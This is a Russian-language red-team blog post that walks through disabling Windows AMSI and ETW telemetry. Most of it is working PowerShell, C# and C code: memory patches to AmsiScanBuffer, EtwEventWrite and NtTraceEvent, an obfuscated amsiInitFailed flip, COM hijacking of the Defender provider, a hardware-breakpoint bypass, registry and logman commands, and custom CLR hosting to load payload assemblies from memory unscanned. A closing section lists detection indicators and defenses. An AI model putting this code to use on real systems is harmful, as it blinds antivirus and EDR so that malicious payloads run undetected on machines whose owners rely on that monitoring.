Обход AMSI и ETW в 2026 — патчинг в памяти, unhooking, custom CLR hosting

Posted on 3 апреля, 2026 by AkaTor

Категория: Red Team / Evasion
Уровень: Advanced
Автор: Aka Tor
Дата: Апрель 2026

Введение

AMSI (Antimalware Scan Interface) и ETW (Event Tracing for Windows) — два основных механизма, через которые EDR и Windows Defender контролируют выполнение кода в runtime. AMSI сканирует содержимое скриптов (PowerShell, VBScript, JScript, .NET assemblies) перед выполнением. ETW предоставляет телеметрию о событиях: загрузка .NET assembly, вызовы WinAPI, сетевые подключения.

В 2026 году обход одного AMSI недостаточен — EDR подписан на десятки ETW-провайдеров. Статья покрывает все актуальные техники обхода обоих механизмов: от патчинга одного байта до полного хостинга собственного CLR без телеметрии.

Предупреждение: Материал для авторизованного пентестинга и исследования безопасности.

Содержание

Часть 1 — AMSI

1. Как работает AMSI

```
PowerShell.exe / wscript.exe / cscript.exe / .NET Runtime
       |
       v
  AmsiInitialize() — создаёт AMSI контекст
       |
       v
  AmsiOpenSession() — открывает сессию сканирования
       |
       v
  AmsiScanBuffer() / AmsiScanString() — передаёт содержимое на
проверку
       |
       v
  amsi.dll → передаёт данные зарегистрированным провайдерам (Defender,
```

```
EDR)
       |
       v
  Провайдер возвращает вердикт: AMSI_RESULT_CLEAN /
AMSI_RESULT_DETECTED
       |
       v
  Если DETECTED — выполнение блокируется
```

Ключевые функции в `amsi.dll`:

```
AmsiInitialize     — создание контекста AMSI
AmsiOpenSession    — начало сессии
AmsiScanBuffer     — сканирование буфера (основная цель)
AmsiScanString     — сканирование строки
AmsiUninitialize   — завершение контекста
AmsiCloseSession   — закрытие сессии
```

---

2. Патчинг AmsiScanBuffer (классика)

Перезаписываем первые байты `AmsiScanBuffer` так, чтобы функция немедленно возвращала `AMSI_RESULT_CLEAN` (0) без реального сканирования.

PowerShell (однострочник)

```
# Получаем адрес AmsiScanBuffer
$a = [System.Runtime.InteropServices.Marshal]
$w = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $w.GetField('amsiContext','NonPublic,Static')
$ptr = [Win32]::GetProcAddress([Win32]::GetModuleHandle("amsi.dll"),
"AmsiScanBuffer")

# Патчим: mov eax, 0x80070057 (E_INVALIDARG); ret
$patch = [byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$old = 0
[Win32]::VirtualProtect($ptr, [uint32]$patch.Length, 0x40, [ref]$old)
$a::Copy($patch, 0, $ptr, $patch.Length)
```

```
[Win32]::VirtualProtect($ptr, [uint32]$patch.Length, $old, [ref]$old)
```

C# — программный патчинг

```
using System;
using System.Runtime.InteropServices;

class AmsiBypass
{
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string
procName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr
dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    static void Main()
    {
        IntPtr amsiDll = GetModuleHandle("amsi.dll");
        if (amsiDll == IntPtr.Zero) {
            // amsi.dll не загружена — загрузим для патчинга
            amsiDll = LoadLibrary("amsi.dll");
        }

        IntPtr asb = GetProcAddress(amsiDll, "AmsiScanBuffer");

        // Патч: xor eax, eax; ret (return S_OK / AMSI_RESULT_CLEAN)
        // 0x31 0xC0 0xC3
        byte[] patch = { 0x31, 0xC0, 0xC3 };

        VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint
oldProtect);
        Marshal.Copy(patch, 0, asb, patch.Length);
```

```
        VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out _);

        Console.WriteLine("[+] AmsiScanBuffer patched");
    }

    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string lpFileName);
}
```

C/C++ — перед загрузкой PowerShell в процесс

```
#include <windows.h>

void PatchAmsi()
{
    HMODULE amsi = LoadLibraryA("amsi.dll");
    if (!amsi) return;

    FARPROC addr = GetProcAddress(amsi, "AmsiScanBuffer");
    if (!addr) return;

    // mov eax, 0x80070057; ret  (E_INVALIDARG — AMSI думает что вызов
некорректный)
    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

    DWORD oldProtect;
    VirtualProtect(addr, sizeof(patch), PAGE_EXECUTE_READWRITE,
&oldProtect);
    memcpy(addr, patch, sizeof(patch));
    VirtualProtect(addr, sizeof(patch), oldProtect, &oldProtect);
}
```

Обнаружение: Средний. EDR проверяет целостность amsi.dll в памяти (Sysmon Event 7, periodic integrity scan). VirtualProtect на amsi.dll — индикатор.

---

3. Патчинг AmsiOpenSession

Альтернатива патчингу AmsiScanBuffer — патчим `AmsiOpenSession` чтобы она возвращала ошибку. Если сессия не открылась — AmsiScanBuffer не вызывается.

```
IntPtr addr = GetProcAddress(GetModuleHandle("amsi.dll"),
"AmsiOpenSession");

// Патч: ret с ошибкой (mov eax, 0x80070057; ret)
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out uint old);
Marshal.Copy(patch, 0, addr, patch.Length);
VirtualProtect(addr, (UIntPtr)patch.Length, old, out _);
```

Обнаружение: Средний. Менее контролируемый чем AmsiScanBuffer, но тот же паттерн VirtualProtect.

---

4. Forced Error (AmsiInitFailed)

PowerShell хранит внутренний флаг `amsiInitFailed`. Если установить его в `true` — AMSI пропускается полностью. Без патчинга памяти.

```
# Прямое изменение через Reflection
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $t.GetField('s_amsiInitFailed','NonPublic,Static')
$f.SetValue($null, $true)
```

Проблема в 2026: Defender детектит строку «AmsiUtils» и «amsiInitFailed» через AMSI до того как код выполнится. Обходится через обфускацию:

```
# Обфускация имён через конкатенацию
$a = "Sy" + "stem.Ma" + "nagement.Au" + "tomation.Am" + "siUt" + "ils"
$b = "s_am" + "siInit" + "Fail" + "ed"
$t = [Ref].Assembly.GetType($a)
$f = $t.GetField($b, 'NonPublic,Static')
```

```
$f.SetValue($null, $true)
```

Обнаружение: Высокий в необфусцированном виде. С обфускацией — Средний. Script Block Logging (Event 4104) покажет декодированный код.

---

5. Обход через COM Hijacking

AMSI провайдеры регистрируются как COM-объекты. Подменяем регистрацию на нашу DLL которая всегда возвращает AMSI_RESULT_CLEAN.

```
# CLSID Defender AMSI провайдера
# {2781761E-28E0-4109-99FE-B9D127C57AFE}

# Подмена в HKCU (без admin):
reg add "HKCU\Software\Classes\CLSID\{2781761E-28E0-4109-99FE-
B9D127C57AFE}\InprocServer32" /ve /t REG_SZ /d
"C:\Users\Public\fake_amsi.dll" /f
reg add "HKCU\Software\Classes\CLSID\{2781761E-28E0-4109-99FE-
B9D127C57AFE}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"
/f
```

`fake_amsi.dll` — минимальная DLL которая реализует IAntimalwareProvider и всегда возвращает чистый результат:

```
// Упрощённо — DLL которая отвечает "чисто" на все запросы AMSI
// Полная реализация требует COM интерфейс IAntimalwareProvider
HRESULT Scan(IAmsiStream* stream, AMSI_RESULT* result) {
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}
```

Обнаружение: Низкий. Нет патчинга памяти. Sysmon Event 13 на CLSID запись. Работает до перезагрузки процесса.

---

6. Hardware Breakpoints на AMSI

Устанавливаем hardware breakpoint на AmsiScanBuffer. При вызове — VEH перехватывает, модифицирует возвращаемое значение и пропускает сканирование.

```
LONG CALLBACK AmsiHandler(PEXCEPTION_POINTERS ex)
{
    if (ex->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Проверяем что breakpoint на AmsiScanBuffer
        if (ex->ContextRecord->Rip == (DWORD64)pAmsiScanBuffer) {
            // Подменяем 5й параметр (AMSI_RESULT*) на
AMSI_RESULT_CLEAN
            // В x64: 5й параметр на стеке [rsp+0x28] (после shadow
space)
            AMSI_RESULT* pResult =
(AMSI_RESULT*)(ex->ContextRecord->Rsp + 0x28);
            *pResult = AMSI_RESULT_CLEAN;

            // Пропускаем функцию — ставим RIP на ret
            ex->ContextRecord->Rip =
*(DWORD64*)(ex->ContextRecord->Rsp);
            ex->ContextRecord->Rsp += 8;

            // Возвращаем S_OK в rax
            ex->ContextRecord->Rax = S_OK;

            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void SetAmsiBreakpoint()
{
    AddVectoredExceptionHandler(1, AmsiHandler);

    CONTEXT ctx = {};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
```

```
    GetThreadContext(GetCurrentThread(), &ctx);

    ctx.Dr0 = (DWORD64)GetProcAddress(GetModuleHandleA("amsi.dll"),
"AmsiScanBuffer");
    ctx.Dr7 = 0x00000001; // DR0 enabled, execute

    SetThreadContext(GetCurrentThread(), &ctx);
}
```

Обнаружение: Низкий. Нет модификации кода amsi.dll. Нет VirtualProtect. Hardware breakpoints не логируются. AddVectoredExceptionHandler — единственный индикатор.

---

7. Обход AMSI для .NET (Assembly.Load)

.NET 4.8+ отправляет загружаемые assembly через AMSI. При вызове `Assembly.Load(byte[])` CLR вызывает `AmsiScanBuffer` с содержимым assembly.

Обход — патчинг AMSI до вызова Assembly.Load:

```
// 1. Патчим AmsiScanBuffer
PatchAmsi();

// 2. Теперь Assembly.Load не сканируется
byte[] assemblyBytes = File.ReadAllBytes("payload.dll");
Assembly asm = Assembly.Load(assemblyBytes);

// 3. Вызываем точку входа
MethodInfo entry = asm.EntryPoint;
entry.Invoke(null, new object[] { new string[] {} });
```

Или через reflection без явного Assembly.Load:

```
// Обход через AppDomain — менее контролируемый путь
AppDomain.CurrentDomain.Load(assemblyBytes);
```

Часть 2 — ETW

8. Как работает ETW

```
Приложение / Ядро
       |
  ETW Provider (генерирует события)
       |
  ntdll!EtwEventWrite → NtTraceEvent (syscall)
       |
  ETW Session / Consumer (принимает события)
       |
  EDR / Defender / Sysmon / PerfMon

Ключевые провайдеры для offensive:
  Microsoft-Windows-DotNETRuntime     — загрузка assembly, JIT
  Microsoft-Windows-PowerShell        — выполнение команд
  Microsoft-Antimalware-Scan-Interface — AMSI события
  Microsoft-Windows-Kernel-Process    — создание процессов
  Microsoft-Windows-Threat-Intelligence — инъекции, hollowing
```

---

9. Патчинг EtwEventWrite

Патчим `ntdll!EtwEventWrite` чтобы она немедленно возвращала 0 (STATUS_SUCCESS) без отправки событий.

C#

```
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

// Патч: xor eax, eax; ret (return 0)
byte[] patch = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax,rax; ret

VirtualProtect(etwAddr, (UIntPtr)patch.Length, 0x40, out uint old);
Marshal.Copy(patch, 0, etwAddr, patch.Length);
```

```
VirtualProtect(etwAddr, (UIntPtr)patch.Length, old, out _);

Console.WriteLine("[+] EtwEventWrite patched — no ETW events from this
process");
```

PowerShell

```
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    [System.Diagnostics.Process]::GetCurrentProcess().Modules |
    Where-Object { $_.ModuleName -eq "ntdll.dll" } |
    Select-Object -First 1)

# Или проще:
$addr = [Win32]::GetProcAddress([Win32]::GetModuleHandle("ntdll.dll"),
"EtwEventWrite")

$patch = [byte[]](0x48, 0x33, 0xC0, 0xC3)  # xor rax,rax; ret
$old = 0
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]$old)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr,
$patch.Length)
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, $old, [ref]$old)
```

Обнаружение: Средний. Integrity check на ntdll.dll обнаружит модификацию. Kernel-level ETW (Microsoft-Windows-Threat-Intelligence) обходу не поддаётся.

---

10. Отключение .NET ETW провайдера

.NET CLR регистрирует ETW провайдер `Microsoft-Windows-DotNETRuntime` при инициализации. Его можно отключить через модификацию внутренних структур CLR.

```
// Отключаем .NET ETW провайдер через reflection
// CLR хранит указатель на ETW session handle во внутренней структуре
// Обнуление этого handle отключает все .NET ETW события

// Вариант 1: Патчинг clr.dll!EtwEventWrite (аналогично ntdll)
```

```
IntPtr clrModule = GetModuleHandle("clr.dll");
// Для .NET Core / .NET 5+:
// IntPtr clrModule = GetModuleHandle("coreclr.dll");

// Вариант 2: Отключение через Environment Variable (до запуска CLR)
// Установить COMPlus_ETWEnabled=0 перед загрузкой .NET
Environment.SetEnvironmentVariable("COMPlus_ETWEnabled", "0");
```

Через реестр (persistent, для всех .NET процессов на машине):

```
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v ETWEnabled /t
REG_DWORD /d 0 /f
```

Обнаружение: Низкий для environment variable. Средний для registry. Высокий для патчинга clr.dll.

---

11. Патчинг NtTraceEvent (kernel-level ETW)

`EtwEventWrite` внутри вызывает `NtTraceEvent` (syscall). Можно патчить его вместо EtwEventWrite — обход более глубокий.

```
// NtTraceEvent — syscall wrapper в ntdll.dll
FARPROC addr = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtTraceEvent");

// Патч: xor eax, eax; ret (return STATUS_SUCCESS)
BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 };

DWORD old;
VirtualProtect(addr, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
memcpy(addr, patch, sizeof(patch));
VirtualProtect(addr, sizeof(patch), old, &old);
```

Важно: Это отключает ETW полностью для текущего процесса — никакие события не генерируются. В том числе легитимные ETW consumers (Performance Monitor, etc.) перестанут получать данные от этого процесса.

Обнаружение: Средний. Kernel-level телеметрия (Microsoft-Windows-Threat-Intelligence провайдер) работает в ядре и этим обходом не затрагивается.

---

12. Удаление ETW провайдеров из процесса

Вместо патчинга функций — отменяем регистрацию ETW провайдеров из текущего процесса.

```
// Перечисляем все зарегистрированные ETW провайдеры в текущем
процессе
// и отменяем их регистрацию через EventUnregister

typedef ULONG (NTAPI* pEventUnregister)(REGHANDLE RegHandle);
pEventUnregister EventUnregister = (pEventUnregister)
    GetProcAddress(GetModuleHandleA("advapi32.dll"),
"EventUnregister");

// Провайдеры хранят REGHANDLE в глобальных переменных модулей
// Для .NET CLR:
//   clr.dll / coreclr.dll содержит
Microsoft_Windows_DotNETRuntimePrivate_handle
// Для PowerShell:
//   System.Management.Automation.dll содержит ETW handle

// Подход: сканируем .data секцию clr.dll на REGHANDLE значения
// и вызываем EventUnregister для каждого

// Альтернатива — через WMI:
// wevtutil sl Microsoft-Windows-DotNETRuntime /e:false
```

```
# Отключение ETW провайдеров через logman (требует admin)
logman stop "EventLog-Application" -ets
logman stop "Diagtrack-Listener" -ets

# Отключение .NET провайдера
logman stop ".NET Common Language Runtime" -ets
```

Обнаружение: Высокий для logman. Низкий для EventUnregister из процесса.

Часть 3 — CLR Hosting

13. Custom CLR Hosting без AMSI/ETW

Вместо обхода AMSI/ETW — хостим CLR самостоятельно через COM-интерфейс ICLRRuntimeHost. При таком подходе мы контролируем инициализацию CLR и можем пропустить регистрацию AMSI и ETW провайдеров.

```
#include <windows.h>
#include <metahost.h>
#include <mscoree.h>

#pragma comment(lib, "mscoree.lib")

void RunAssemblyWithoutAmsi(const char* assemblyPath, const char*
typeName,
                            const char* methodName, const char*
argument)
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;

    // 1. Получаем CLR MetaHost
    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost,
(LPVOID*)&metaHost);

    // 2. Выбираем версию .NET
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo,
(LPVOID*)&runtimeInfo);

    // 3. Отключаем ETW перед стартом CLR
    SetEnvironmentVariableA("COMPlus_ETWEnabled", "0");
```

```
    // 4. Патчим AMSI до старта CLR
    HMODULE amsi = LoadLibraryA("amsi.dll");
    if (amsi) {
        FARPROC asb = GetProcAddress(amsi, "AmsiScanBuffer");
        BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 };
        DWORD old;
        VirtualProtect(asb, sizeof(patch), PAGE_EXECUTE_READWRITE,
&old);
        memcpy(asb, patch, sizeof(patch));
        VirtualProtect(asb, sizeof(patch), old, &old);
    }

    // 5. Патчим ETW
    FARPROC etw = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"EtwEventWrite");
    BYTE etwPatch[] = { 0x48, 0x33, 0xC0, 0xC3 };
    DWORD old;
    VirtualProtect(etw, sizeof(etwPatch), PAGE_EXECUTE_READWRITE,
&old);
    memcpy(etw, etwPatch, sizeof(etwPatch));
    VirtualProtect(etw, sizeof(etwPatch), old, &old);

    // 6. Запускаем CLR
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost,
IID_ICLRRuntimeHost,
        (LPVOID*)&runtimeHost);
    runtimeHost->Start();

    // 7. Выполняем .NET assembly — AMSI и ETW отключены
    DWORD result;
    wchar_t wAssembly[MAX_PATH], wType[256], wMethod[256], wArg[1024];
    MultiByteToWideChar(CP_ACP, 0, assemblyPath, -1, wAssembly,
MAX_PATH);
    MultiByteToWideChar(CP_ACP, 0, typeName, -1, wType, 256);
    MultiByteToWideChar(CP_ACP, 0, methodName, -1, wMethod, 256);
    MultiByteToWideChar(CP_ACP, 0, argument, -1, wArg, 1024);

    runtimeHost->ExecuteInDefaultAppDomain(wAssembly, wType, wMethod,
```

```
wArg, &result);

    // Cleanup
    runtimeHost->Stop();
    runtimeHost->Release();
    runtimeInfo->Release();
    metaHost->Release();
}
```

Обнаружение: Низкий. CLR загружается легитимно. AMSI/ETW отключены до инициализации провайдеров. Нет подозрительных PowerShell событий. Sysmon Event 7 покажет загрузку clr.dll и mscoree.dll из нетипичного процесса.

---

14. In-memory .NET Assembly Execution

Комбинация всех техник — загрузка .NET assembly из памяти, без файла на диске, без AMSI/ETW.

```
#include <windows.h>
#include <metahost.h>

void ExecuteInMemory(BYTE* assemblyBytes, DWORD assemblySize)
{
    // 1. Отключаем AMSI + ETW (как в примере выше)
    PatchAmsi();
    PatchEtw();

    // 2. Инициализируем CLR
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICorRuntimeHost* runtimeHost = NULL;  // ICorRuntimeHost для
Assembly.Load

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost,
(LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo,
```

```
(LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CorRuntimeHost,
IID_ICorRuntimeHost,
        (LPVOID*)&runtimeHost);
    runtimeHost->Start();

    // 3. Получаем AppDomain
    IUnknown* appDomainThunk = NULL;
    runtimeHost->GetDefaultDomain(&appDomainThunk);

    mscorlib::_AppDomain* appDomain = NULL;
    appDomainThunk->QueryInterface(__uuidof(mscorlib::_AppDomain),
        (LPVOID*)&appDomain);

    // 4. Создаём SAFEARRAY из байт assembly
    SAFEARRAYBOUND bound = { assemblySize, 0 };
    SAFEARRAY* sa = SafeArrayCreate(VT_UI1, 1, &bound);
    void* data;
    SafeArrayAccessData(sa, &data);
    memcpy(data, assemblyBytes, assemblySize);
    SafeArrayUnaccessData(sa);

    // 5. Assembly.Load(byte[]) — AMSI отключен, не сканируется
    mscorlib::_Assembly* assembly = NULL;
    appDomain->Load_3(sa, &assembly);

    // 6. Вызываем EntryPoint
    mscorlib::_MethodInfo* entryPoint = NULL;
    assembly->get_EntryPoint(&entryPoint);

    VARIANT retVal;
    SAFEARRAY* args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
    // Пустой string[] для Main(string[] args)
    VARIANT v;
    v.vt = VT_ARRAY | VT_BSTR;
    v.parray = SafeArrayCreateVector(VT_BSTR, 0, 0);
    LONG idx = 0;
    SafeArrayPutElement(args, &idx, &v);
```

```
    entryPoint->Invoke_3(VARIANT(), args, &retVal);

    // Cleanup
    SafeArrayDestroy(sa);
    SafeArrayDestroy(args);
}
```

Обнаружение: Низкий. Нет файла на диске. AMSI не видит assembly. ETW не генерирует .NET события. Единственный индикатор — загрузка clr.dll/mscoree.dll в процесс который обычно не использует .NET.

---

15. Сравнительная таблица

Техника	Цель	Требует admin	Модификация памяти	Обнаружение
Патчинг AmsiScanBuffer	AMSI	Нет	Да (amsi.dll)	Средний
Патчинг AmsiOpenSession	AMSI	Нет	Да (amsi.dll)	Средний
AmsiInitFailed flag	AMSI	Нет	Нет	Средний (сигнатура)
COM Hijacking AMSI	AMSI	Нет (HKCU)	Нет	Низкий
Hardware Breakpoints	AMSI	Нет	Нет	Низкий
Патчинг EtwEventWrite	ETW	Нет	Да (ntdll.dll)	Средний
Патчинг NtTraceEvent	ETW	Нет	Да (ntdll.dll)	Средний
COMPlus_ETWEnabled=0	.NET ETW	Нет	Нет	Низкий
Registry ETWEnabled=0	.NET ETW	Да	Нет	Средний
Custom CLR Hosting	AMSI + ETW	Нет	Да (до CLR init)	Низкий

In-memory Assembly	AMSI + ETW + disk	Нет	Да	Низкий

---

16. Blue Team — обнаружение

Индикаторы обхода AMSI

```
1. VirtualProtect на amsi.dll адреса — Sysmon Event 10 (ProcessAccess)
2. Целостность amsi.dll: периодическое сравнение .text секции с файлом на диске
3. PowerShell Script Block Logging (Event 4104): обфусцированные строки с "Amsi"
4. Sysmon Event 13: запись в HKCU\CLSID для AMSI провайдера COM Hijacking
5. AddVectoredExceptionHandler из нетипичного модуля (hardware breakpoint bypass)
6. Загрузка amsi.dll + VirtualProtect с PAGE_EXECUTE_READWRITE в close proximity
```

Индикаторы обхода ETW

```
1. Целостность ntdll.dll: сравнение EtwEventWrite/NtTraceEvent с образом на диске
2. Отсутствие ETW событий от процесса который должен их генерировать
3. COMPlus_ETWEnabled=0 в environment переменных процесса
4. ETWEnabled=0 в HKLM\SOFTWARE\Microsoft\.NETFramework
5. Загрузка mscoree.dll/clr.dll из нетипичного процесса (CLR hosting indicator)
6. Microsoft-Windows-Threat-Intelligence ETW провайдер (kernel-level, не обходится userland патчингом)
```

Защита

```
1. Protected Process Light (PPL) для антивирусного процесса — защита от модификации
2. Kernel-level ETW (Threat Intelligence) — не обходится из userland
```

```
3. Credential Guard / VBS — изоляция критических процессов в
hypervisor
4. Periodic memory integrity scanning — обнаружение патчинга
ntdll/amsi
5. Hardware-based security: Intel TDT может обнаружить аномальное
поведение
6. Constrained Language Mode в PowerShell — блокирует Reflection и
Add-Type
7. Windows Defender Application Control (WDAC) — запрет на загрузку
неподписанных assembly
8. Block .NET Assembly.Load(byte[]) через WDAC managed installer rules
```

Заключение

В 2026 году обход AMSI одним патчем AmsiScanBuffer уже недостаточен — EDR проверяют целостность amsi.dll и подписаны на ETW события. Полноценный обход требует комбинации: отключение AMSI + отключение ETW + загрузка payload в память.

Наиболее скрытная комбинация: **Hardware Breakpoints на AMSI** (нет модификации памяти) + **COMPlus_ETWEnabled=0** (нет модификации памяти) + **Custom CLR Hosting** (контроль над инициализацией).

Наиболее простая рабочая комбинация: **патчинг AmsiScanBuffer + EtwEventWrite** перед выполнением payload. 6 байт на AMSI, 4 байта на ETW — 10 байт отключают основную телеметрию процесса.

Для Blue Team: kernel-level ETW (Microsoft-Windows-Threat-Intelligence) остаётся единственным надёжным источником телеметрии при активном обходе userland провайдеров. VBS/Credential Guard делают патчинг бессмысленным для защищённых процессов.